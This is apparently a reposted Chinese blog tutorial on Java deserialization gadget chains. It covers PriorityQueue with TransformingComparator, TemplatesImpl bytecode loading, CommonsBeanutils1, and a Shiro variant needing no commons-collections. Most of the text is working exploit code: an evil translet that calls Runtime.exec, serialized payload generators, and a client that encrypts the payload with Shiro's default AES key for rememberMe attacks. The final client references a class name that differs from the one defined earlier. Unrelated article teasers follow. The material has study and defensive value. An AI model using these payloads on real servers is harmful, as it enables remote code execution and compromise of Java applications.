Java 利用PriorityQueue进行无InvokerTransformer反序列化

news2025/1/19 8:14:20

java_PriorityQueue

java.util.PriorityQueue 是一个优先队列(Queue),节点之间按照优先级大小排序成一棵树。其中PriorityQueue有自己的readObject反序列化入口。

反序列化链为:PriorityQueue#readObject->heapify()->siftDown()->siftDownUsingComparator()->comparator.compare()。当comparator为TransformingComparator对象时,能触发transform()方法:

image-20221206160559047.png

至于PriorityQueue的heapify()、siftDown()、siftDownUsingComparator()的用处就是恢复排序、节点下移和比较元素大小。而Comparator则是定义了两个对象用什么方式比较

CC2TransformingComparator

结合CC2的利用方式,就是向TransformingComparator传入恶意Transformer。

Comparator comparator = new TransformingComparator(transformerChain);

再用priorityQueue触发comparator:

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

可以add任何非null对象,因为触发transform与队列参数无关(比较的是1,2,比较方式为comparator.compare())

  • POC:

    package org.example;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.Comparator;
    import java.util.PriorityQueue;
    import org.apache.commons.collections4.Transformer;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    public class CC2TransformingComparator {
    public static void setFieldValue(Object obj, String fieldName, Object
    value) throws Exception {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
    Transformer[] fakeTransformers = new Transformer[] {new
    ConstantTransformer(1)};
    Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer(“getMethod”, new Class[] {
    String.class,
    Class[].class }, new Object[] { “getRuntime”,
    new Class[0] }),
    new InvokerTransformer(“invoke”, new Class[] {
    Object.class,
    Object[].class }, new Object[] { null, new
    Object[0] }),
    new InvokerTransformer(“exec”, new Class[] { String.class
    },
    new String[] { “calc.exe” }),
    };
    Transformer transformerChain = new
    ChainedTransformer(fakeTransformers);
    Comparator comparator = new
    TransformingComparator(transformerChain);
    PriorityQueue queue = new PriorityQueue(2, comparator);
    queue.add(1);
    queue.add(2);
    setFieldValue(transformerChain, “iTransformers”, transformers);
    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(queue);
    oos.close();
    System.out.println(barr);
    ObjectInputStream ois = new ObjectInputStream(new
    ByteArrayInputStream(barr.toByteArray()));
    Object o = (Object)ois.readObject();
    }
    }

测试结果:

image-20221206161847500.png

TemplatesImpl无数组TransformingComparator

用TemplatesImpl字节码的方式也能进行利用,并且还能用于shiro的无数组链:

同样的向TransformingComparator传入恶意Transformer,这次传的是InvokerTransformer,而非transformerChain数组

Comparator comparator = new TransformingComparator(transformer);

触发comparator的方式还是实例化PriorityQueue对象

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);

为什么要传TemplatesImpl的对象obj呢?回想在没有ConstantTransformer初始化对象的情况下,shiro反序列化是依靠TiedMapEntry的构造函数把初始化对象传入key

image-20221206164448132.png

TiedMapEntry的hashcode调用了getValue,getValue触发lazyMap.get()

image-20221206164623593.png

但是在使用PriorityQueue类时,就无法用到shiro的入口HashMap,自然整条链都用不了。进入templatesImpl对象的newTransformer()入口的方式变为:

PriorityQueue#Compare()->TransformingComparator#transform->InvokerTransformer->TemplatesImpl#newTransformer()

只需要compare()时对象为恶意InvokerTransformer

image-20221206160559047.png

恶意字节码类:

package evil;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public EvilTemplatesImpl() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }
}

POC:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class ShiroTransformingComparator {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    protected static byte[] getBytescode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName());
        return clazz.toBytecode();
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(obj);
        queue.add(obj);

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

image-20221206173016563.png

在4.1和3.2.2更新了FunctorUtils#checkUnsafeSerialization,3.2.2默认情况下会检测常见危险transformer(InstantiataTransformer、InvokerTransformer、PrototypeFactory等)的readObject进行调用,4.1这几个类直接不再实现Serilalizable接口

CommonsBeanutil

javaBean的介绍:https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680

从中可以了解到getter、setter、属性的概念。

在上文,我们用PriorityQueue#compare()来触发TransformingComparator#transform()。除了这种方式外,还有org.apache.commons.beanutils.BeanComparator.compare()

BeanComparator.compare()方法代码如下:

image-20221206184052378.png

其中的getProperty方法可以调用任意javaBean的getter方法(形如getName)。

Object value1 = PropertyUtils.getProperty(o1,this.property);

该方法甚至可以递归查询:PropertyUtils.getProperty(o1,"o2.name");

现在反序列化链为:

BeanComparator#compara()->PropertyUtils.getProperty()->TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

getOutputProperties()符合getter的定义,所以property(属性名)的值为OutputProperties时,触发反序列化链。PriorityQueue队列和property的值可以用反射的方式修改。

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

POC:

package org.example;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "godown");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        BeanComparator comparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);
// stub data for replacement later
        queue.add(1);
        queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

image-20221206210050408.png

那么这条链跟上面那个只用到了priorityQueue的区别在哪?

好像只是反序列化的入口从newInstance变成了getOutputProperties?

正是因为不再需要newInstance作为入口,也就不再需要Invokertransformer进行调用。也就是

PriorityQueue#Compare()->TransformingComparator#transform->InvokerTransformer->TemplatesImpl#newTransformer()这段过程可以全部舍弃掉,转而换成:

PriorityQueue#compare()->BeanComparator#compare()->PropertyUtils.getProperty()->TemplatesImpl#getOutputProperties()

因此3.2.2和4.1就能开心的拿着这个payload去打

不需要CC库的shiroCommonBeanutils

shiro本身依赖commons-beautils库。所以上面的payload可以直接改造用来打shiro。

如果本地commons-
beanutils和服务器shiro的CB版本不一样的话,serialVersionUID就会不同,也就不兼容。也就是打的时候需要把本地commons-
beanutils改成和服务器一样的版本

那服务端没有commons-collections库的时候呢?

在new BeanComparator时,BeanComparator构造函数使用了ComparableComparator

image-20221207113456298.png

而这个类来自commons.collections,所以要避开使用这个缺省参数。也就是要找到一个类有comparator接口和serializable接口

image-20221207113534550.png

CaseInsensitiveComparator不仅实现了上面两个接口,还在java.lang.String下。而且用getOutputProperties的方式调用是不需要用到恶意comparator的,只需要恶意property

所以修改Beancomparator初始化时的参数为CaseInsensitiveComparator的对象就行了:

final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

POC:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class ShiroCommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);
// stub data for replacement later
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        return barr.toByteArray();
        }
}

转字节码打shiro poc:

package org.example;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Clientattack {
    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(org.example.ShiroCommonsBeanutils1.class.getName());
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

image-20221207125223110.png

image-20221207125113917.png

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/197634.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

新网站沙盒期要多久(关于网站走出沙盒期的征兆)

做网站优化首先要明白搜索引擎抓取原理&#xff0c;不管是百度还是谷歌&#xff0c;新站上线总要进入沙盒&#xff0c;接受来自搜索引擎的审查&#xff0c;涉及网站结构、网站内容、网站外链等内容。对于新手朋友来说&#xff0c;难免着急&#xff0c;这段考察期究竟有多长&…

【Python获取相亲网站数据】马上都元宵节了,还在相亲,看看某相亲网站有没有那个有缘人。

前言 马上都元宵节了&#xff0c;还在相亲&#xff0c;看看某相亲网站有没有那个有缘人。今天我们来爬取某相亲网站获取我们想要的数据&#xff0c;比如说&#xff0c;对方的姓名&#xff0c;年龄&#xff0c;身高&#xff0c;体重等等。今天我们主要使用CSS选择的方法来匹配我…

IDEA插件开发入门.01

环境准备Idea插件SDK文档在线地址&#xff1a;https://plugins.jetbrains.com/docs/intellij/welcome.html安装IntelliJ IDEA&#xff0c;这里使用版本2020.1.3 X64IDEA中安装Plugin DevKit插件创建插件项目新建工程。File ->New -> Project选择工程类型&#xff0c;Inte…

无法应用转换程序。请检查指定的转换程序路径是否有效。例子:Adobe Acrobat DC (PDF编辑器)卸载不了或者无法重新安装

不知道大家有没遇到这种情况&#xff0c;Adobe Acrobat DC (PDF编辑器)卸载不了或者无法重新安装&#xff0c;显示&#xff1a;无法应用转换程序。请检查指定的转换程序路径是否有效。 今天小编句遇到了这种情况&#xff0c;卸不了&#xff0c;把文件夹直接删了还是无法重新安装…

Linux安装Mysql8.0

mysql官网 www.mysql.com 这里是新建了个虚拟机 有时候用 rpm -qa|grep mysql和 rpm -qa|grep mariadb检测不到已经安装了mysql或者mariadb 可以使用rpm -qa|grep -i mysql 自己对Linux学习阶段,因此新建虚拟机安装 卸载原来的mariadb rpm -e mariadb-libs rpm -e --node…

微信如何注册小号?一个手机号注册两个微信账号?图文教学

2023年2月3日微信正式开放注册“小号”的功能&#xff0c;也就是可以使用一个手机号来注册两个微信账号。微信作为很多一款国民级别的工具&#xff0c;早就成为了小伙伴日常生活中不可或缺的一部分了。能够注册微信小号自然很好&#xff0c;可是微信如何注册小号呢&#xff1f;…

什么是窜货?为什么要治理窜货?如何正确治理窜货?

一、什么是窜货 “窜货”行为&#xff0c;就是超出自己授权范围&#xff0c;在非授权区域出售商品的行为。一般有线下窜区域销售、线下商品窜货线上销售两种情况。 二、为什么会出现窜货 1、窜货最常见的原因是&#xff0c;当经销商的授权区域市场趋向饱和时&#xff0c;或其…

茶杯:N个杯子排成一排,第X个杯子藏有球,交换任意两个杯子K次后,找出藏球杯子位置。

N个杯子排成一排&#xff0c;第X个杯子藏有球&#xff0c;交换任意两个杯子K次后&#xff0c;找出藏球杯子位置。 (本文获得CSDN质量评分【85】)【学习的细节是欢悦的历程】Python 官网&#xff1a;https://www.python.org/ Free&#xff1a;大咖免费“圣经”教程《 python 完…

Idea JSP 学习

运行JSP文件首次使用Idea运行jsp文件遇到的问题汇总。运行出现404错误。首先配置好Tomcat,我选用的是Tomcat 10.0.27.安装好Tomcat,并进行相关配置。我用的是IDEA2020.2.3 x64版本&#xff0c;不同版本会有区别。这是我的以上配置&#xff0c;特别注意下图三角标识的test.jsp。…

【JavaEE】单例模式详解

目录 一、单例模式的概念 二、饿汉模式 三、懒汉模式 &#xff08;1&#xff09;懒汉模式-单线程版 &#xff08;2&#xff09;懒汉模式-线程安全多线程版 啥是设计模式咧&#x1f914;设计模式好比象棋中的棋谱。红方当头炮&#xff0c;黑方马来跳&#x1f463;。针对红方…

鸿蒙开发学习|HarmonyOS是什么

鸿蒙开发学习 第一章 HarmonyOS是什么文章目录鸿蒙开发学习前言一、什么是HarmonyOS二、HarmonyOS系统架构2.1 内核层2.2系统服务层2.3框架层2.4应用层三、HarmonyOS系统特性3.1 对消费者3.2.对应用开发3.3.对设备开发四、HarmonyOS系统四大技术特性4.1 分布式架构首次用于终端…

LabVIEW最大内存块属性不存在

LabVIEW最大内存块属性不存在在NI Linux实时操作系统目标中使用系统属性节点和分布式系统管理器&#xff08;DSM&#xff09;&#xff0c;但遇到一些问题&#xff1a;它未正确报告系统上的可用物理内存量。在NI Linux实时系统上出现错误-2147220623尝试在NI Linux实时上监测RAM…

webpack自动化打包

webpack自动化打包 首先下载包 npm i webpack-dev-server -D 配置 webpack.config.js const path require(path)//nodejs核心模块&#xff0c;专门用来处理路径问题 const ESLintPlugin require(eslint-webpack-plugin) const HtmlWebpackPlugin require(html-webpack-p…

java-加密、解密算法

rsa2048、sha256 rsa2048对整个文件进行hash算法&#xff0c;生成公钥、私钥后用于数字签名&#xff0c; sha256通过公钥和私钥&#xff0c;作为证书使用。单板打包后对每个动态库sha256计算颁发证书 sha256签名后&#xff0c;rsa2048进行加密。签名用于校验加密数据没有被更…

初始化一个vite+vue3项目,配置eslint+Prettier

引用vite官网的一段话&#xff0c;解释一下我们为什么要选择使用vite 时过境迁&#xff0c;我们见证了诸如 webpack、Rollup 和 Parcel 等工具的变迁&#xff0c;它们极大地改善了前端开发者的开发体验。 然而&#xff0c;当我们开始构建越来越大型的应用时&#xff0c;需要处…

Java后端数据校验学习总结

Java后端校验总结 后端校验注解一直在用&#xff0c;但是感觉不是特别清楚&#xff0c;希望通过写这篇文章搞清楚。 Spring自带的Validation校验框架 Spring提供了Validator接口来校验对象&#xff0c;主要涉及到的方法和类如下&#xff1a; supports方法&#xff1a;设置校…

win11任务栏图标闪烁|任务栏QQ图标闪动|新消息任务栏自动弹出|设置自动隐藏任务栏之后,QQ或微信等工具新消息自动弹出任务栏并颜色提示问题解决方案

背景介绍: 今天正常使用电脑时也出现消息弹出问题(已经设置隐藏任务栏),很头疼那么时什么情况,该如何组去解决呢?(微信任务栏闪动未读消息) MyDockFinder Windows 桌面美化工具 目录 背景介绍 解决问题 微信环境测试 初始界面&#xff08;微信&#xff09; 打开微信 …

PostMan简介2022黑马跟学

2022黑马PostMan简介跟学1.PostMan工具的使用1.1 PostMan简介1.2 PostMan安装1.3 PostMan使用1.3.1 创建WorkSpace工作空间1.3.2 发送请求(1).以百度为例发送get请求(2).以百度为例发送post请求1.3.3 保存当前请求1.3.4 创建server端1.PostMan工具的使用 1.1 PostMan简介 代码…

运算放大电路(三)-加法器

加法器 由虚短知&#xff1a; V- V 0 ……a 由虚断及基尔霍夫定律知&#xff0c;通过R2与R1的电流之和等于通过R3的电流&#xff0c;故 (V1 – V-)/R1 (V2 – V-)/R2 (Vout – V-)/R3 ……b 代入a式&#xff0c;b式变为 V1/R1 V2/R2 Vout/R3 如果取 R1R2R3 则上式变为 Vo…

ideal整合reids实现缓存查询

目录 前言&#xff1a; 一.工作流程 二. RedisConfig类 三.application.properties 四.开启linux中的redis 五.使用redis结合数据库进行数据查询 5.1编程式缓存 5.2声明式缓存 5.2.1在启动类上添加注解 5.2.2实现代码 六.运行结果 ​编辑 前言&#xff1a; 废话不多讲…